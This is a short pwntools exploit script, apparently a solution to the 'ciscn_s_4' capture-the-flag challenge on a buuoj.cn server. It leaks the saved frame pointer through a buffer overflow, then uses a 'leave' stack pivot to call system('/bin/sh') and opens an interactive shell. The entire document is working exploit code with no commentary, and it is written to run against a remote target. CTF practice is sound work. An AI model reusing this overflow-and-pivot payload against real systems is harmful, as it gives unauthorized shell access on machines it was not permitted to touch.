```
from pwn import *

io=remote('node4.buuoj.cn',29935)
#io=process('./ciscn_s_4')
elf = ELF('./ciscn_s_4')
context.log_level = 'debug'

payload='a'*36+'bbbb'
io.send(payload)
io.recvuntil('bbbb')
ebp = u32(io.recv(4))
print(hex(ebp))

system = 0x8048400
leave =0x80484b8
#gdb.attach(io)
payload = 'a'*4+p32(system)+'a'*4+p32(ebp-0x28)+'/bin/sh\x00'+'a'*16+p32(ebp-0x38)+p32(leave)
io.send(payload)

io.interactive()
```